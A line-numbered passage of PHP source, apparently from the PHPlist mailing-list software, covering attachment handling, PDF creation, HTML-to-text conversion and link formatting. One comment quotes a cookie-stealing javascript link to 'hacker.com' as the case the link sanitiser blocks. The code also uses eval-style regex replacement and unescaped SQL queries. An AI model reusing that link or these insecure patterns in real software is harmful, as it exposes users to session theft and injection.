  601. if (!Sql_Affected_Rows())
  602. return;
  603. if ($type == "text") {
  604. $mail->append_text($GLOBALS["strAttachmentIntro"]."\n");
  605. }
  606. while ($att = Sql_Fetch_array($req)) {
  607. switch ($type) {
  608. case "HTML":
  609. if (is_file($GLOBALS["attachment_repository"]."/".$att["filename"]) && filesize($GLOBALS["attachment_repository"]."/".$att["filename"])) {
  610. $fp = fopen($GLOBALS["attachment_repository"]."/".$att["filename"],"r");
  611. if ($fp) {
  612. $contents = fread($fp,filesize($GLOBALS["attachment_repository"]."/".$att["filename"]));
  613. fclose($fp);
  614. $mail->add_attachment($contents,
  615. basename($att["remotefile"]),
  616. $att["mimetype"]);
  617. }
  618. } elseif (is_file($att["remotefile"]) && filesize($att["remotefile"])) {
  619. # handle local filesystem attachments
  620. $fp = fopen($att["remotefile"],"r");
  621. if ($fp) {
  622. $contents = fread($fp,filesize($att["remotefile"]));
  623. fclose($fp);
  624. $mail->add_attachment($contents,
  625. basename($att["remotefile"]),
  626. $att["mimetype"]);
  627. list($name,$ext) = explode(".",basename($att["remotefile"]));
  628. # create a temporary file to make sure to use a unique file name to store with
  629. $newfile = tempnam($GLOBALS["attachment_repository"],$name);
  630. $newfile .= ".".$ext;
  631. $newfile = basename($newfile);
  632. $fd = fopen( $GLOBALS["attachment_repository"]."/".$newfile, "w" );
  633. fwrite( $fd, $contents );
  634. fclose( $fd );
  635. # check that it was successful
  636. if (filesize($GLOBALS["attachment_repository"]."/".$newfile)) {
  637. Sql_Query(sprintf('update %s set filename = "%s" where id = %d',
  638. $GLOBALS["tables"]["attachment"],$newfile,$att["attachmentid"]));
  639. } else {
  640. # now this one could be sent many times, so send only once per run
  641. if (!isset($GLOBALS[$att["remotefile"]."_warned"])) {
  642. logEvent("Unable to make a copy of attachment ".$att["remotefile"]." in repository");
  643. $msg = "Error, when trying to send message $msgid the filesystem attachment
  644. ".$att["remotefile"]." could not be copied to the repository. Check for permissions.";
  645. sendMail(getConfig("report_address"),"Mail list error",$msg,"");
  646. $GLOBALS[$att["remotefile"]."_warned"] = time();
  647. }
  648. }
  649. } else {
  650. logEvent("failed to open attachment ".$att["remotefile"]." to add to message $msgid ");
  651. }
  652. } else {
  653. logEvent("Attachment ".$att["remotefile"]." does not exist");
  654. $msg = "Error, when trying to send message $msgid the attachment
  655. ".$att["remotefile"]." could not be found";
  656. sendMail(getConfig("report_address"),"Mail list error",$msg,"");
  657. }
  658. break;
  659. case "text":
  660. $viewurl = "http://".$website.$GLOBALS["pageroot"].'/dl.php?id='.$att["id"];
  661. $mail->append_text($att["description"]."\n".$GLOBALS["strLocation"].": ".$viewurl);
  662. break;
  663. }
  664. }
  665. }
  666. }
  667. function createPDF($text) {
  668. if (!isset($GLOBALS["pdf_font"])) {
  669. $GLOBALS["pdf_font"] = 'Arial';
  670. $GLOBALS["pdf_fontsize"] = 12;
  671. }
  672. $pdf=new FPDF();
  673. $pdf->SetCreator("PHPlist version ".VERSION);
  674. $pdf->Open();
  675. $pdf->AliasNbPages();
  676. $pdf->AddPage();
  677. $pdf->SetFont($GLOBALS["pdf_font"],$GLOBALS["pdf_fontstyle"],$GLOBALS["pdf_fontsize"]);
  678. $pdf->Write((int)$GLOBALS["pdf_fontsize"]/2,$text);
  679. $fname = tempnam($GLOBALS["tmpdir"],"pdf");
  680. $pdf->Output($fname,false);
  681. return $fname;
  682. }
  683. function replaceChars($text) {
  684. // $document should contain an HTML document.
  685. // This will remove HTML tags, javascript sections
  686. // and white space. It will also convert some
  687. // common HTML entities to their text equivalent.
  688. $search = array ("'&(quot|#34);'i", // Replace html entities
  689. "'&(amp|#38);'i",
  690. "'&(lt|#60);'i",
  691. "'&(gt|#62);'i",
  692. "'&(nbsp|#160);'i",
  693. "'&(iexcl|#161);'i",
  694. "'&(cent|#162);'i",
  695. "'&(pound|#163);'i",
  696. "'&(copy|#169);'i",
  697. "'&#(\d+);'e"); // evaluate as php
  698. $replace = array ("\"",
  699. "&",
  700. "<",
  701. ">",
  702. " ",
  703. chr(161),
  704. chr(162),
  705. chr(163),
  706. chr(169),
  707. "chr(\\1)");
  708. #"
  709. $text = preg_replace ($search, $replace, $text);
  710. return $text;
  711. }
  712. function stripHTML($text) {
  713. # strip HTML, and turn links into the full URL
  714. $text = preg_replace("/\r/","",$text);
  715. #$text = preg_replace("/\n/","###NL###",$text);
  716. $text = preg_replace("/<script[^>]*>(.*?)<\/script\s*>/is","",$text);
  717. $text = preg_replace("/<style[^>]*>(.*?)<\/style\s*>/is","",$text);
  718. # would prefer to use < and > but the strip tags below would erase that.
  719. # $text = preg_replace("/<a href=\"(.*?)\"[^>]*>(.*?)<\/a>/is","\\2\n{\\1}",$text,100);
  720. $text = preg_replace("/<a href=\"(.*?)\"[^>]*>(.*?)<\/a>/is","[URLTEXT]\\2[/URLTEXT][LINK]\\1[/LINK]",$text,100);
  721. $text = preg_replace("/<b>(.*?)<\/b\s*>/is","*\\1*",$text);
  722. $text = preg_replace("/<h[\d]>(.*?)<\/h[\d]\s*>/is","**\\1**\n",$text);
  723. $text = preg_replace("/\s+/"," ",$text);
  724. $text = preg_replace("/<i>(.*?)<\/i\s*>/is","/\\1/",$text);
  725. $text = preg_replace("/<\/tr\s*?>/i","<\/tr>\n\n",$text);
  726. $text = preg_replace("/<\/p\s*?>/i","<\/p>\n\n",$text);
  727. $text = preg_replace("/<br\s*?>/i","<br>\n",$text);
  728. $text = preg_replace("/<br\s*?\/>/i","<br\/>\n",$text);
  729. $text = preg_replace("/<table/i","\n\n<table",$text);
  730. $text = strip_tags($text);
  731. # find all URLs and replace them back
  732. preg_match_all('~\[URLTEXT\](.*)\[/URLTEXT\]\[LINK\](.*)\[/LINK\]~Ui', $text, $links);
  733. foreach ($links[0] as $matchindex => $fullmatch) {
  734. $linktext = $links[1][$matchindex];
  735. $linkurl = $links[2][$matchindex];
  736. # check if the text linked is a repetition of the URL
  737. if (strtolower(trim($linktext)) == strtolower(trim($linkurl)) ||
  738. 'http://'.strtolower(trim($linktext)) == strtolower(trim($linkurl))) {
  739. $linkreplace = $linkurl;
  740. } else {
  741. $linkreplace = $linktext.' <'.$linkurl.'>';
  742. }
  743. $text = preg_replace('~'.preg_quote($fullmatch).'~',$linkreplace,$text);
  744. }
  745. $text = preg_replace("/<a href=\"(.*?)\"[^>]*>(.*?)<\/a>/is","[URLTEXT]\\2[/URLTEXT][LINK]\\1[/LINK]",$text,100);
  746. $text = replaceChars($text);
  747. $text = preg_replace("/###NL###/","\n",$text);
  748. # reduce whitespace
  749. while (preg_match("/ /",$text))
  750. $text = preg_replace("/ /"," ",$text);
  751. while (preg_match("/\n\s*\n\s*\n/",$text))
  752. $text = preg_replace("/\n\s*\n\s*\n/","\n\n",$text);
  753. $text = wordwrap($text,70);
  754. return $text;
  755. }
  756. function parseText($text) {
  757. # bug in PHP? get rid of newlines at the beginning of text
  758. $text = ltrim($text);
  759. # make urls and emails clickable
  760. $text = eregi_replace("([\._a-z0-9-]+@[\.a-z0-9-]+)",'<a href="mailto:\\1" class="email">\\1</a>',$text);
  761. $link_pattern="/(.*)<a.*href\s*=\s*\"(.*?)\"\s*(.*?)>(.*?)<\s*\/a\s*>(.*)/is";
  762. $i=0;
  763. while (preg_match($link_pattern, $text, $matches)){
  764. $url=$matches[2];
  765. $rest = $matches[3];
  766. if (!preg_match("/^(http:)|(mailto:)|(ftp:)|(https:)/i",$url)){
  767. # avoid this
  768. #<a href="javascript:window.open('http://hacker.com?cookie='+document.cookie)">
  769. $url = preg_replace("/:/","",$url);
  770. }
  771. $link[$i]= '<a href="'.$url.'" '.$rest.'>'.$matches[4].'</a>';
  772. $text = $matches[1]."%%$i%%".$matches[5];
  773. $i++;
  774. }
  775. $text = preg_replace("/(www\.[a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i", "http://\\1" ,$text);#make www. -> http://www.
  776. $text = preg_replace("/(https?:\/\/)http?:\/\//i", "\\1" ,$text);#take out duplicate schema
  777. $text = preg_replace("/(ftp:\/\/)http?:\/\//i", "\\1" ,$text);#take out duplicate schema
  778. $text = preg_replace("/(https?:\/\/)(?!www)([a-zA-Z0-9\.\/#~:?+=&%@!_\\-]+)/i", "<a href=\"\\1\\2\" class=\"url\" target=\"_blank\">\\1\\2</a>" ,$text); #eg-- http://kernel.org -> <a href"http://kernel.org" target="_blank">http://kernel.org</a>
  779. $text = preg_replace("/(https?:\/\/)(www\.)([a-zA-Z0-9\.\/#~:?+=&%@!\\-_]+)/i", "<a href=\"\\1\\2\\3\" class=\"url\" target=\"_blank\">\\2\\3</a>" ,$text); #eg -- http://www.google.com -> <a href"http://www.google.com" target="_blank">www.google.com</a>
  780. for ($j = 0;$j<$i;$j++) {
  781. $replacement = $link[$j];
  782. $text = preg_replace("/\%\%$j\%\%/",$replacement, $text);
  783. }
  784. # hmm, regular expression choke on some characters in the text
  785. # first replace all the brackets with placeholders.
  786. # we cannot use htmlspecialchars or addslashes, because some are needed
  787. $text = ereg_replace("\(","<!--LB-->",$text);
  788. $text = ereg_replace("\)","<!--RB-->",$text);
  789. $text = preg_replace('/\$/',"<!--DOLL-->",$text);
  790. # @@@ to be xhtml compabible we'd have to close the <p> as well
  791. # so for now, just make it two br/s, which will be done by replacing
  792. # \n with <br/>
  793. # $paragraph = '<p>';
  794. $br = '<br />';
  795. $text = ereg_replace("\r","",$text);
  796. # $text = ereg_replace("\n\n","\n".$paragraph,$text);
  797. $text = ereg_replace("\n","$br\n",$text);
  798. # reverse our previous placeholders
  799. $text = ereg_replace("<!--LB-->","(",$text);
  800. $text = ereg_replace("<!--RB-->",")",$text);
  801. $text = ereg_replace("<!--DOLL-->","\$",$text);
  802. return $text;
  803. }
  804. function addHTMLFooter($message,$footer) {
  805. if (preg_match('#</body>#imUx',$message)) {
  806. $message = preg_replace('#</body>#',$footer.'</body>',$message);
  807. } else {
  808. $message .= $footer;
  809. }
  810. return $message;
  811. }
  812. # make sure the 0 template has the powered by image
  813. Sql_Query(sprintf('select * from %s where filename = "%s" and template = 0',
  814. $GLOBALS["tables"]["templateimage"],"powerphplist.png"));
  815. if (!Sql_Affected_Rows())
  816. Sql_Query(sprintf('insert into %s (template,mimetype,filename,data,width,height)
  817. values(0,"%s","%s","%s",%d,%d)',
  818. $GLOBALS["tables"]["templateimage"],"image/png","powerphplist.png",
  819. $newpoweredimage,
  820. 70,30));
  821. ?>